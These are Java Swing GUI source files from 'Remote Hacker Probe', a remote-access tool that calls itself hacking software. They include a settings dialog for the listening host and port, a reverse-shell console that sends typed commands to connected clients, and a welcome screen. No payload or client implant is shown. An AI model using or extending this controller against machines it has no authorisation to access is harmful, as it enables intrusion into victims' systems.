58 | return ret; 59 | } 60 | 61 | public static String returnSetting(String key) { 62 | Properties prop = new Properties(); 63 | String fileName = "rhp.ini"; 64 | InputStream is = null; 65 | try { 66 | is = new FileInputStream(fileName); 67 | } catch (FileNotFoundException ex) { 68 | // JOptionPane.showMessageDialog(null, "File 'rhp.ini' was not found. Will create default Settings file."); 69 | StartupWindow.CreateSettingsFile(); 70 | try { 71 | is = new FileInputStream(fileName); 72 | } catch (FileNotFoundException e) { 73 | // TODO Auto-generated catch block 74 | e.printStackTrace(); 75 | } 76 | } 77 | try { 78 | prop.load(is); 79 | } catch (IOException ex) { 80 | ex.printStackTrace(); 81 | } 82 | 83 | return prop.getProperty(key); 84 | } 85 | 86 | public static void changeProperty(String filename, String key, String value) throws IOException { 87 | Properties prop =new Properties(); 88 | prop.load(new FileInputStream(filename)); 89 | prop.setProperty(key, value); 90 | prop.store(new FileOutputStream(filename),null); 91 | } 92 | 93 | public static void UpdateThemeGlobally(String ThemeName) 94 | { 95 | ArrayList themes = new ArrayList(); 96 | themes.add("Dark"); 97 | themes.add("Light"); 98 | themes.add("Solarized Dark"); 99 | themes.add("Solarized Light"); 100 | 101 | String theme = themes.get(themes.indexOf(ThemeName)); 102 | MainWindow.SaveTheme(theme); 103 | MainWindow.UpdateTheme(); 104 | } 105 | 106 | public Settings() { 107 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 108 | setTitle("Remote Hacker Probe | Settings"); 109 | setBounds(100, 100, 361, 203); 110 | getContentPane().setLayout(new BorderLayout()); 111 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 112 | getContentPane().add(contentPanel, BorderLayout.CENTER); 113 | 114 | JLabel heading = new JLabel("Server Settings"); 115 | heading.setFont(new Font("Calibri", Font.PLAIN, 15)); 116 | 117 | JLabel servhost = new JLabel("Server Host : "); 118 | servhost.setFont(new Font("Calibri", Font.PLAIN, 12)); 119 | 120 | JLabel lblTcpServerPort = new JLabel("Server Port : "); 121 | lblTcpServerPort.setFont(new Font("Calibri", Font.PLAIN, 12)); 122 | 123 | Host = new JTextField(); 124 | Host.setEditable(false); 125 | Host.setFont(new Font("Consolas", Font.PLAIN, 11)); 126 | Host.setColumns(10); 127 | Host.setText(Settings.returnSetting("host")); 128 | 129 | Port = new JTextField(); 130 | Port.setEditable(false); 131 | Port.setFont(new Font("Consolas", Font.PLAIN, 11)); 132 | Port.setColumns(10); 133 | Port.setText(Settings.returnSetting("port")); 134 | JLabel lblNewLabel = new JLabel("Theme : "); 135 | lblNewLabel.setFont(new Font("Calibri", Font.PLAIN, 12)); 136 | 137 | String[] items = {"Dark", "Light", "Solarized Dark", "Solarized Light"}; 138 | JComboBox comboBox = new JComboBox(items); 139 | comboBox.getModel().setSelectedItem(Settings.returnSetting("theme")); 140 | 141 | comboBox.setFont(new Font("Calibri", Font.PLAIN, 12)); 142 | comboBox.addActionListener(new ActionListener() { 143 | public void actionPerformed(ActionEvent e) { 144 | String themeName = items[comboBox.getSelectedIndex()]; 145 | UpdateThemeGlobally(themeName); 146 | JOptionPane.showMessageDialog(null, "Theme Updated."); 147 | } 148 | }); 149 | 150 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel); 151 | gl_contentPanel.setHorizontalGroup( 152 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 153 | .addGroup(gl_contentPanel.createSequentialGroup() 154 | .addGap(5) 155 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.TRAILING) 156 | .addGroup(gl_contentPanel.createSequentialGroup() 157 | .addComponent(heading, GroupLayout.DEFAULT_SIZE, 123, Short.MAX_VALUE) 158 | .addGap(207)) 159 | .addGroup(gl_contentPanel.createSequentialGroup() 160 | .addComponent(servhost, GroupLayout.DEFAULT_SIZE, 94, Short.MAX_VALUE) 161 | .addGap(1) 162 | .addComponent(Host, GroupLayout.DEFAULT_SIZE, 225, Short.MAX_VALUE) 163 | .addContainerGap()) 164 | .addGroup(gl_contentPanel.createSequentialGroup() 165 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 166 | .addGroup(gl_contentPanel.createSequentialGroup() 167 | .addComponent(lblTcpServerPort, GroupLayout.DEFAULT_SIZE, 94, Short.MAX_VALUE) 168 | .addGap(1)) 169 | .addGroup(gl_contentPanel.createSequentialGroup() 170 | .addGap(10) 171 | .addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 19, Short.MAX_VALUE) 172 | .addGap(35))) 173 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 174 | .addGroup(gl_contentPanel.createSequentialGroup() 175 | .addComponent(comboBox, 0, 128, Short.MAX_VALUE) 176 | .addGap(97)) 177 | .addComponent(Port, Alignment.TRAILING, GroupLayout.DEFAULT_SIZE, 225, Short.MAX_VALUE)) 178 | .addContainerGap()))) 179 | ); 180 | gl_contentPanel.setVerticalGroup( 181 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 182 | .addGroup(gl_contentPanel.createSequentialGroup() 183 | .addGap(6) 184 | .addComponent(heading, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE) 185 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 186 | .addGroup(gl_contentPanel.createSequentialGroup() 187 | .addGap(11) 188 | .addComponent(servhost, GroupLayout.PREFERRED_SIZE, 14, Short.MAX_VALUE) 189 | .addGap(1)) 190 | .addGroup(gl_contentPanel.createSequentialGroup() 191 | .addGap(6) 192 | .addComponent(Host))) 193 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 194 | .addGroup(gl_contentPanel.createSequentialGroup() 195 | .addGap(13) 196 | .addComponent(lblTcpServerPort, GroupLayout.PREFERRED_SIZE, 14, GroupLayout.PREFERRED_SIZE)) 197 | .addGroup(gl_contentPanel.createSequentialGroup() 198 | .addGap(10) 199 | .addComponent(Port))) 200 | .addPreferredGap(ComponentPlacement.UNRELATED) 201 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 202 | .addGroup(gl_contentPanel.createSequentialGroup() 203 | .addComponent(comboBox) 204 | .addGap(1)) 205 | .addComponent(lblNewLabel, GroupLayout.PREFERRED_SIZE, 22, GroupLayout.PREFERRED_SIZE)) 206 | .addGap(12)) 207 | ); 208 | contentPanel.setLayout(gl_contentPanel); 209 | { 210 | JPanel buttonPane = new JPanel(); 211 | buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT)); 212 | getContentPane().add(buttonPane, BorderLayout.SOUTH); 213 | { 214 | JButton okButton = new JButton("OK"); 215 | okButton.addActionListener(new ActionListener() { 216 | public void actionPerformed(ActionEvent e) { 217 | dispose(); 218 | } 219 | }); 220 | okButton.setActionCommand("OK"); 221 | buttonPane.add(okButton); 222 | getRootPane().setDefaultButton(okButton); 223 | } 224 | 225 | JButton btnNewButton = new JButton("Change"); 226 | btnNewButton.addActionListener(new ActionListener() { 227 | public void actionPerformed(ActionEvent e) { 228 | Host.setEditable(true); 229 | Port.setEditable(true); 230 | } 231 | }); 232 | buttonPane.add(btnNewButton); 233 | 234 | JButton savebtn = new JButton("Save"); 235 | savebtn.addActionListener(new ActionListener() { 236 | public void actionPerformed(ActionEvent e) { 237 | if(Host.isEditable() && Port.isEditable()) 238 | { 239 | String newhost = Host.getText(); 240 | String newport = Port.getText(); 241 | try { 242 | if(newhost != null) { 243 | changeProperty("rhp.ini", "host", newhost); 244 | changeProperty("rhp.ini", "port", newport); 245 | JOptionPane.showMessageDialog(null, "The Host or Port has been changed. Restart for Changes to take Effect."); 246 | Host.setEditable(false); 247 | Port.setEditable(false); 248 | MainWindow.Log("Host and Port Changed to " + Settings.returnSetting("host")+":"+Settings.returnSetting("port")); 249 | } 250 | } catch (IOException e1) { 251 | e1.printStackTrace(); 252 | } 253 | } else { 254 | JOptionPane.showMessageDialog(null, "You must change the values first."); 255 | } 256 | } 257 | }); 258 | buttonPane.add(savebtn); 259 | } 260 | } 261 | } 262 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/Shell.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.Color; 5 | import java.awt.Cursor; 6 | import java.awt.FlowLayout; 7 | 8 | import javax.swing.ImageIcon; 9 | import javax.swing.JButton; 10 | import javax.swing.JDialog; 11 | import javax.swing.JFileChooser; 12 | import javax.swing.JMenuItem; 13 | import javax.swing.JPanel; 14 | import javax.swing.JPopupMenu; 15 | import javax.swing.JScrollPane; 16 | import javax.swing.border.EmptyBorder; 17 | import javax.swing.text.DefaultCaret; 18 | import javax.swing.JTextField; 19 | import java.awt.Font; 20 | import javax.swing.JTextArea; 21 | import java.awt.event.ActionListener; 22 | import java.awt.event.WindowAdapter; 23 | import java.awt.event.WindowEvent; 24 | import java.io.File; 25 | import java.io.FileWriter; 26 | import java.io.IOException; 27 | import java.awt.event.ActionEvent; 28 | import javax.swing.GroupLayout; 29 | import javax.swing.GroupLayout.Alignment; 30 | import javax.swing.LayoutStyle.ComponentPlacement; 31 | import javax.swing.JLabel; 32 | 33 | public class Shell extends JDialog { 34 | private JTextField ShellInput; 35 | public int ShellAccessingClientId; 36 | public static JTextArea ShellOutput = new JTextArea(); 37 | JButton ShellGo; 38 | JLabel interact = new JLabel(""); 39 | public Shell() { 40 | setResizable(false); 41 | setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE); 42 | setTitle("Remote Hacker Probe | Reverse Shell"); 43 | setBounds(100, 100, 633, 387); 44 | 45 | ShellInput = new JTextField(); 46 | ShellInput.setBounds(10, 305, 540, 37); 47 | ShellInput.setToolTipText("Shell Input"); 48 | ShellInput.setFont(new Font("Consolas", Font.PLAIN, 12)); 49 | ShellInput.setColumns(10); 50 | ShellInput.addActionListener(new java.awt.event.ActionListener() { 51 | public void actionPerformed(ActionEvent e) { 52 | ShellGo.doClick(); 53 | } 54 | }); 55 | ShellOutput.setToolTipText("Reverse Shell Output"); 56 | 57 | ShellOutput.setEditable(false); 58 | ShellOutput.setFont(new Font("Consolas", Font.PLAIN, 13)); 59 | 60 | DefaultCaret caret = (DefaultCaret) ShellOutput.getCaret(); 61 | caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); 62 | JScrollPane sp_3 = new JScrollPane(ShellOutput); 63 | sp_3.setBounds(10, 34, 597, 260); 64 | sp_3.setToolTipText("Shell Output"); 65 | sp_3.setHorizontalScrollBarPolicy(JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED); 66 | sp_3.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED); 67 | 68 | ShellGo = new JButton(">"); 69 | ShellGo.setBounds(560, 304, 52, 38); 70 | ShellGo.addActionListener(new ActionListener() { 71 | public void actionPerformed(ActionEvent e) { 72 | String shellexec = ShellInput.getText().strip(); 73 | if(shellexec.length() > 0) { 74 | ShellOutput.append(">> " + shellexec); 75 | Server.SendData(Server.Clients.get(ShellAccessingClientId), shellexec); 76 | ShellInput.setText(""); 77 | ServerThread.WaitForReply(); 78 | } 79 | } 80 | }); 81 | ShellGo.setToolTipText("Go"); 82 | ShellGo.setFont(new Font("Calibri", Font.PLAIN, 16)); 83 | ShellOutput.setBounds(10, 11, 710, 326); 84 | 85 | JPopupMenu shelloptions = new JPopupMenu(); 86 | JMenuItem saveout = new JMenuItem("Save Output"); 87 | saveout.setFont(new Font("Calibri", Font.PLAIN, 13)); 88 | saveout.addActionListener(new ActionListener() { 89 | public void actionPerformed(ActionEvent e) { 90 | JFileChooser fileChooser = new JFileChooser(); 91 | if (fileChooser.showSaveDialog(null) == JFileChooser.APPROVE_OPTION) { 92 | File file = fileChooser.getSelectedFile(); 93 | FileWriter wt; 94 | try { 95 | wt = new FileWriter(file, true); 96 | wt.write(ShellOutput.getText()); 97 | wt.close(); 98 | } catch (IOException e2) { 99 | // TODO Auto-generated catch block 100 | e2.printStackTrace(); 101 | } 102 | } 103 | } 104 | }); 105 | JMenuItem clear = new JMenuItem("Clear"); 106 | clear.setFont(new Font("Calibri", Font.PLAIN, 13)); 107 | clear.addActionListener(new ActionListener() { 108 | public void actionPerformed(ActionEvent e) { 109 | ShellOutput.setText(""); 110 | } 111 | }); 112 | JMenuItem ChangeColor = new JMenuItem("Change Color"); 113 | ChangeColor.setFont(new Font("Calibri", Font.PLAIN, 13)); 114 | ChangeColor.addActionListener(new ActionListener() { 115 | public void actionPerformed(ActionEvent e) { 116 | Color randomColor = new Color((int)(Math.random() * 0x1000000)); 117 | ShellOutput.setForeground(randomColor); 118 | } 119 | }); 120 | getContentPane().setLayout(null); 121 | shelloptions.add(saveout); 122 | shelloptions.add(clear); 123 | shelloptions.add(ChangeColor); 124 | MainWindow.addPopup(ShellOutput, shelloptions); 125 | getContentPane().add(sp_3); 126 | getContentPane().add(ShellInput); 127 | getContentPane().add(ShellGo); 128 | 129 | 130 | interact.setFont(new Font("Calibri", Font.PLAIN, 12)); 131 | interact.setBounds(10, 9, 583, 14); 132 | 133 | getContentPane().add(interact); 134 | 135 | addWindowListener(new WindowAdapter() { 136 | @Override 137 | public void windowOpened(WindowEvent we) { 138 | ShellOutput.setText(""); // clear for any data that may be in 139 | } 140 | }); 141 | 142 | addWindowListener(new WindowAdapter() { 143 | @Override 144 | public void windowClosed(WindowEvent e) { 145 | Shell.ShellOutput.setText(""); 146 | MainWindow.Log("Reverse Shell closed."); 147 | } 148 | }); 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/StartupWindow.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.BorderLayout; 4 | import java.awt.FlowLayout; 5 | 6 | import javax.swing.JButton; 7 | import javax.swing.JDialog; 8 | import javax.swing.JPanel; 9 | import javax.swing.border.EmptyBorder; 10 | import javax.swing.GroupLayout; 11 | import javax.swing.GroupLayout.Alignment; 12 | import javax.swing.ImageIcon; 13 | import javax.swing.JLabel; 14 | import javax.swing.JOptionPane; 15 | import javax.swing.LayoutStyle.ComponentPlacement; 16 | import java.awt.Font; 17 | import java.awt.event.ActionListener; 18 | import java.io.FileWriter; 19 | import java.io.IOException; 20 | import java.awt.event.ActionEvent; 21 | 22 | public class StartupWindow extends JDialog { 23 | 24 | public static void CreateSettingsFile() 25 | { 26 | try { 27 | FileWriter rewrite = new FileWriter("rhp.ini", false); 28 | rewrite.write("host=0.0.0.0"); 29 | rewrite.write("\nport=1234"); 30 | rewrite.write("\ntheme=Light"); 31 | rewrite.close(); 32 | } catch (IOException e) { 33 | e.printStackTrace(); 34 | } 35 | } 36 | 37 | private final JPanel contentPanel = new JPanel(); 38 | JButton starbtn = new JButton("Star"); 39 | JButton donatebtn = new JButton("Donate"); 40 | 41 | String firstMessage = "
" 42 | + "Welcome, " + Settings.userSetting("username") 43 | + ". Thank you for using The Remote Hacker Probe. The Hacking Software for normal people. Created to be EASY and Stable to use.
" 44 | + "The Remote Hacker Probe also has a Pro Version. Consider upgrading : https://quantumcored.com/index.php/the-remote-hacker-probe/
" 45 | + "The Remote Hacker Probe will now Start with Default Settings.
" 46 | + "Server Host : 0.0.0.0
Server Port : 1234
Theme : Light." 47 | + "
"; 48 | 49 | String secondMessage = "Before you start, I (QuantumCore) would like to ask for your support.
" 50 | + "Help me with my future projects / Leave a Star on the Remote Hacker Probe Repository.
" 51 | + "
OR Consider donating, When you Donate, You save the developer from starvation.
" 52 | + ""; 53 | 54 | /** 55 | * Create the dialog. 56 | */ 57 | public StartupWindow() { 58 | setTitle("Remote Hacker Probe | Welcome"); 59 | setBounds(100, 100, 499, 475); 60 | getContentPane().setLayout(new BorderLayout()); 61 | contentPanel.setBorder(new EmptyBorder(5, 5, 5, 5)); 62 | getContentPane().add(contentPanel, BorderLayout.CENTER); 63 | JLabel introlbl = new JLabel(); 64 | introlbl.setFont(new Font("Calibri", Font.PLAIN, 12)); 65 | introlbl.setText(firstMessage); 66 | 67 | JLabel heading = new JLabel("The Remote Hacker Probe"); 68 | heading.setFont(new Font("Calibri", Font.BOLD, 14)); 69 | ImageIcon cat = new ImageIcon("img/hacker-cat.gif"); 70 | JLabel icon = new JLabel(cat); 71 | icon.setToolTipText("Letsss Gett Started!!"); 72 | 73 | GroupLayout gl_contentPanel = new GroupLayout(contentPanel); 74 | gl_contentPanel.setHorizontalGroup( 75 | gl_contentPanel.createParallelGroup(Alignment.TRAILING) 76 | .addGroup(gl_contentPanel.createSequentialGroup() 77 | .addGroup(gl_contentPanel.createParallelGroup(Alignment.LEADING) 78 | .addGroup(gl_contentPanel.createSequentialGroup() 79 | .addContainerGap() 80 | .addComponent(introlbl, GroupLayout.DEFAULT_SIZE, 453, Short.MAX_VALUE)) 81 | .addGroup(gl_contentPanel.createSequentialGroup() 82 | .addContainerGap() 83 | .addComponent(icon, GroupLayout.DEFAULT_SIZE, 453, Short.MAX_VALUE)) 84 | .addGroup(gl_contentPanel.createSequentialGroup() 85 | .addGap(155) 86 | .addComponent(heading))) 87 | .addContainerGap()) 88 | ); 89 | gl_contentPanel.setVerticalGroup( 90 | gl_contentPanel.createParallelGroup(Alignment.LEADING) 91 | .addGroup(gl_contentPanel.createSequentialGroup() 92 | .addContainerGap() 93 | .addComponent(heading) 94 | .addGap(11) 95 | .addComponent(introlbl, GroupLayout.DEFAULT_SIZE, 128, Short.MAX_VALUE) 96 | .addPreferredGap(ComponentPlacement.RELATED) 97 | .addComponent(icon, GroupLayout.DEFAULT_SIZE, 208, Short.MAX_VALUE) 98 | .addContainerGap()) 99 | ); 100 | contentPanel.setLayout(gl_contentPanel); 101 | { 102 | JPanel buttonPane = new JPanel(); 103 | buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT)); 104 | 105 | starbtn.addActionListener(new ActionListener() { 106 | public void actionPerformed(ActionEvent e) { 107 | String url = "https://www.github.com/quantumcored/remote_hacker_probe"; 108 | try { 109 | java.awt.Desktop.getDesktop().browse(java.net.URI.create(url)); 110 | } catch (IOException e1) { 111 | // TODO Auto-generated catch block 112 | e1.printStackTrace(); 113 | } 114 | } 115 | }); 116 | starbtn.setVisible(false); 117 | buttonPane.add(starbtn); 118 | 119 | 120 | donatebtn.addActionListener(new ActionListener() { 121 | public void actionPerformed(ActionEvent e) { 122 | String url = "https://commerce.coinbase.com/checkout/cebcb394-f73e-4990-98b9-b3fdd852358f"; 123 | try { 124 | java.awt.Desktop.getDesktop().browse(java.net.URI.create(url)); 125 | } catch (IOException e1) { 126 | // TODO Auto-generated catch block 127 | e1.printStackTrace(); 128 | } 129 | } 130 | }); 131 | donatebtn.setVisible(false); 132 | buttonPane.add(donatebtn); 133 | 134 | 135 | getContentPane().add(buttonPane, BorderLayout.SOUTH); 136 | { 137 | JButton okButton = new JButton("Next"); 138 | okButton.addActionListener(new ActionListener() { 139 | public void actionPerformed(ActionEvent e) { 140 | if(okButton.getText().equals("Next")) { 141 | introlbl.setText(secondMessage); 142 | icon.setIcon(new ImageIcon("img/hamster.gif")); 143 | okButton.setText("OK"); 144 | starbtn.setVisible(true); 145 | donatebtn.setVisible(true); 146 | // CreateSettingsFile(); 147 | } else { 148 | MainWindow mw = new MainWindow(); 149 | mw.frmRemoteHackerProbe.setVisible(true); 150 | dispose(); 151 | } 152 | 153 | } 154 | }); 155 | 156 | okButton.setActionCommand("OK"); 157 | buttonPane.add(okButton); 158 | getRootPane().setDefaultButton(okButton); 159 | 160 | 161 | } 162 | } 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /gui/src/main/java/rhp/StretchIcon.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.Component; 4 | import java.awt.Container; 5 | import java.awt.Graphics; 6 | import java.awt.Graphics2D; 7 | import java.awt.Image; 8 | import java.awt.Insets; 9 | import java.awt.RenderingHints; 10 | import java.awt.image.BufferedImage; 11 | import java.awt.image.ImageObserver; 12 | import java.net.URL; 13 | 14 | import javax.swing.ImageIcon; 15 | 16 | /** 17 | * An Icon that scales its image to fill the component area, excluding any border or insets, optionally maintaining the image's 18 | * aspect ratio by padding and centering the scaled image horizontally or vertically. 19 | *

20 | * The class is a drop-in replacement for ImageIcon, except that the no-argument constructor is not supported. 21 | *

22 | * As the size of the Icon is determined by the size of the component in which it is displayed, StretchIcon must only be used 23 | * in conjunction with a component and layout that does not depend on the size of the component's Icon. 24 | * 25 | * @version 1.1 01/15/2016 26 | * @author Darryl 27 | */ 28 | public class StretchIcon extends ImageIcon 29 | { 30 | /** 31 | * 32 | */ 33 | private static final long serialVersionUID = 1L; 34 | /** 35 | * Determines whether the aspect ratio of the image is maintained. Set to false to allow th image to distort to fill the 36 | * component. 37 | */ 38 | protected boolean proportionate = true; 39 | 40 | /** 41 | * Creates a StretchIcon from an array of bytes. 42 | * 43 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG 44 | * 45 | * @see ImageIcon#ImageIcon(byte[]) 46 | */ 47 | public StretchIcon(byte[] imageData) 48 | { 49 | super(imageData); 50 | } 51 | 52 | /** 53 | * Creates a StretchIcon from an array of bytes with the specified behavior. 54 | * 55 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG 56 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 57 | * fill the component. 58 | * 59 | * @see ImageIcon#ImageIcon(byte[]) 60 | */ 61 | public StretchIcon(byte[] imageData, boolean proportionate) 62 | { 63 | super(imageData); 64 | this.proportionate = proportionate; 65 | } 66 | 67 | /** 68 | * Creates a StretchIcon from an array of bytes. 69 | * 70 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG 71 | * @param description a brief textual description of the image 72 | * 73 | * @see ImageIcon#ImageIcon(byte[], java.lang.String) 74 | */ 75 | public StretchIcon(byte[] imageData, String description) 76 | { 77 | super(imageData, description); 78 | } 79 | 80 | /** 81 | * Creates a StretchIcon from an array of bytes with the specified behavior. 82 | * 83 | * @see ImageIcon#ImageIcon(byte[]) 84 | * @param imageData an array of pixels in an image format supported by the AWT Toolkit, such as GIF, JPEG, or (as of 1.3) PNG 85 | * @param description a brief textual description of the image 86 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 87 | * fill the component. 88 | * 89 | * @see ImageIcon#ImageIcon(byte[], java.lang.String) 90 | */ 91 | public StretchIcon(byte[] imageData, String description, boolean proportionate) 92 | { 93 | super(imageData, description); 94 | this.proportionate = proportionate; 95 | } 96 | 97 | /** 98 | * Creates a StretchIcon from the image. 99 | * 100 | * @param image the image 101 | * 102 | * @see ImageIcon#ImageIcon(java.awt.Image) 103 | */ 104 | public StretchIcon(Image image) 105 | { 106 | super(image); 107 | } 108 | 109 | /** 110 | * Creates a StretchIcon from the image with the specified behavior. 111 | * 112 | * @param image the image 113 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 114 | * fill the component. 115 | * 116 | * @see ImageIcon#ImageIcon(java.awt.Image) 117 | */ 118 | public StretchIcon(Image image, boolean proportionate) 119 | { 120 | super(image); 121 | this.proportionate = proportionate; 122 | } 123 | 124 | /** 125 | * Creates a StretchIcon from the image. 126 | * 127 | * @param image the image 128 | * @param description a brief textual description of the image 129 | * 130 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String) 131 | */ 132 | public StretchIcon(Image image, String description) 133 | { 134 | super(image, description); 135 | } 136 | 137 | /** 138 | * Creates a StretchIcon from the image with the specified behavior. 139 | * 140 | * @param image the image 141 | * @param description a brief textual description of the image 142 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 143 | * fill the component. 144 | * 145 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String) 146 | */ 147 | public StretchIcon(Image image, String description, boolean proportionate) 148 | { 149 | super(image, description); 150 | this.proportionate = proportionate; 151 | } 152 | 153 | /** 154 | * Creates a StretchIcon from the specified file. 155 | * 156 | * @param filename a String specifying a filename or path 157 | * 158 | * @see ImageIcon#ImageIcon(java.lang.String) 159 | */ 160 | public StretchIcon(String filename) 161 | { 162 | super(filename); 163 | } 164 | 165 | /** 166 | * Creates a StretchIcon from the specified file with the specified behavior. 167 | * 168 | * @param filename a String specifying a filename or path 169 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 170 | * fill the component. 171 | * 172 | * @see ImageIcon#ImageIcon(java.lang.String) 173 | */ 174 | public StretchIcon(String filename, boolean proportionate) 175 | { 176 | super(filename); 177 | this.proportionate = proportionate; 178 | } 179 | 180 | /** 181 | * Creates a StretchIcon from the specified file. 182 | * 183 | * @param filename a String specifying a filename or path 184 | * @param description a brief textual description of the image 185 | * 186 | * @see ImageIcon#ImageIcon(java.lang.String, java.lang.String) 187 | */ 188 | public StretchIcon(String filename, String description) 189 | { 190 | super(filename, description); 191 | } 192 | 193 | /** 194 | * Creates a StretchIcon from the specified file with the specified behavior. 195 | * 196 | * @param filename a String specifying a filename or path 197 | * @param description a brief textual description of the image 198 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 199 | * fill the component. 200 | * 201 | * @see ImageIcon#ImageIcon(java.awt.Image, java.lang.String) 202 | */ 203 | public StretchIcon(String filename, String description, boolean proportionate) 204 | { 205 | super(filename, description); 206 | this.proportionate = proportionate; 207 | } 208 | 209 | /** 210 | * Creates a StretchIcon from the specified URL. 211 | * 212 | * @param location the URL for the image 213 | * 214 | * @see ImageIcon#ImageIcon(java.net.URL) 215 | */ 216 | public StretchIcon(URL location) 217 | { 218 | super(location); 219 | } 220 | 221 | /** 222 | * Creates a StretchIcon from the specified URL with the specified behavior. 223 | * 224 | * @param location the URL for the image 225 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 226 | * fill the component. 227 | * 228 | * @see ImageIcon#ImageIcon(java.net.URL) 229 | */ 230 | public StretchIcon(URL location, boolean proportionate) 231 | { 232 | super(location); 233 | this.proportionate = proportionate; 234 | } 235 | 236 | /** 237 | * Creates a StretchIcon from the specified URL. 238 | * 239 | * @param location the URL for the image 240 | * @param description a brief textual description of the image 241 | * 242 | * @see ImageIcon#ImageIcon(java.net.URL, java.lang.String) 243 | */ 244 | public StretchIcon(URL location, String description) 245 | { 246 | super(location, description); 247 | } 248 | 249 | /** 250 | * Creates a StretchIcon from the specified URL with the specified behavior. 251 | * 252 | * @param location the URL for the image 253 | * @param description a brief textual description of the image 254 | * @param proportionate true to retain the image's aspect ratio, false to allow distortion of the image to 255 | * fill the component. 256 | * 257 | * @see ImageIcon#ImageIcon(java.net.URL, java.lang.String) 258 | */ 259 | public StretchIcon(URL location, String description, boolean proportionate) 260 | { 261 | super(location, description); 262 | this.proportionate = proportionate; 263 | } 264 | 265 | /** 266 | * Paints the icon. The image is reduced or magnified to fit the component to which it is painted. 267 | *

268 | * If the proportion has not been specified, or has been specified as true, the aspect ratio of the image will be preserved 269 | * by padding and centering the image horizontally or vertically. Otherwise the image may be distorted to fill the component it is 270 | * painted to. 271 | *

272 | * If this icon has no image observer,this method uses the c component as the observer. 273 | * 274 | * @param c the component to which the Icon is painted. This is used as the observer if this icon has no image observer 275 | * @param g the graphics context 276 | * @param x not used. 277 | * @param y not used. 278 | * 279 | * @see ImageIcon#paintIcon(java.awt.Component, java.awt.Graphics, int, int) 280 | */ 281 | @Override 282 | public synchronized void paintIcon(Component c, Graphics g, int x, int y) 283 | { 284 | Image image = getImage(); 285 | if (image == null) 286 | { 287 | return; 288 | } 289 | Insets insets = ((Container) c).getInsets(); 290 | x = insets.left; 291 | y = insets.top; 292 | 293 | int w = c.getWidth() - x - insets.right; 294 | int h = c.getHeight() - y - insets.bottom; 295 | 296 | if (proportionate) 297 | { 298 | int iw = image.getWidth(c); 299 | int ih = image.getHeight(c); 300 | 301 | if ((iw * h) < (ih * w)) 302 | { 303 | iw = (h * iw) / ih; 304 | x += (w - iw) / 2; 305 | w = iw; 306 | } 307 | else 308 | { 309 | ih = (w * ih) / iw; 310 | y += (h - ih) / 2; 311 | h = ih; 312 | } 313 | } 314 | ImageObserver io = getImageObserver(); 315 | 316 | /* 317 | * Added this code to generate nicer looking results when scaling. - bspkrs 318 | * BEGIN CHANGES 319 | */ 320 | BufferedImage bi = new BufferedImage(w, h, BufferedImage.TYPE_4BYTE_ABGR); 321 | Graphics2D g2d = bi.createGraphics(); 322 | g2d.addRenderingHints(new RenderingHints(RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY)); 323 | g2d.drawImage(image, 0, 0, w, h, io == null ? c : io); 324 | g2d.dispose(); 325 | /* 326 | * END CHANGES 327 | */ 328 | 329 | g.drawImage(bi, x, y, w, h, io == null ? c : io); 330 | } 331 | 332 | /** 333 | * Overridden to return 0. The size of this Icon is determined by the size of the component. 334 | * 335 | * @return 0 336 | */ 337 | @Override 338 | public int getIconWidth() 339 | { 340 | return 0; 341 | } 342 | 343 | /** 344 | * Overridden to return 0. The size of this Icon is determined by the size of the component. 345 | * 346 | * @return 0 347 | */ 348 | @Override 349 | public int getIconHeight() 350 | { 351 | return 0; 352 | } 353 | } -------------------------------------------------------------------------------- /gui/src/main/java/rhp/thread.java: -------------------------------------------------------------------------------- 1 | package rhp; 2 | 3 | import java.awt.image.BufferedImage; 4 | import java.io.BufferedOutputStream; 5 | import java.io.File; 6 | import java.io.FileOutputStream; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.net.Socket; 10 | import java.net.SocketTimeoutException; 11 | import java.nio.file.Files; 12 | import java.nio.file.Path; 13 | import java.util.ArrayList; 14 | import java.util.Arrays; 15 | import java.util.concurrent.TimeUnit; 16 | 17 | import javax.imageio.ImageIO; 18 | import javax.swing.ImageIcon; 19 | import javax.swing.JLabel; 20 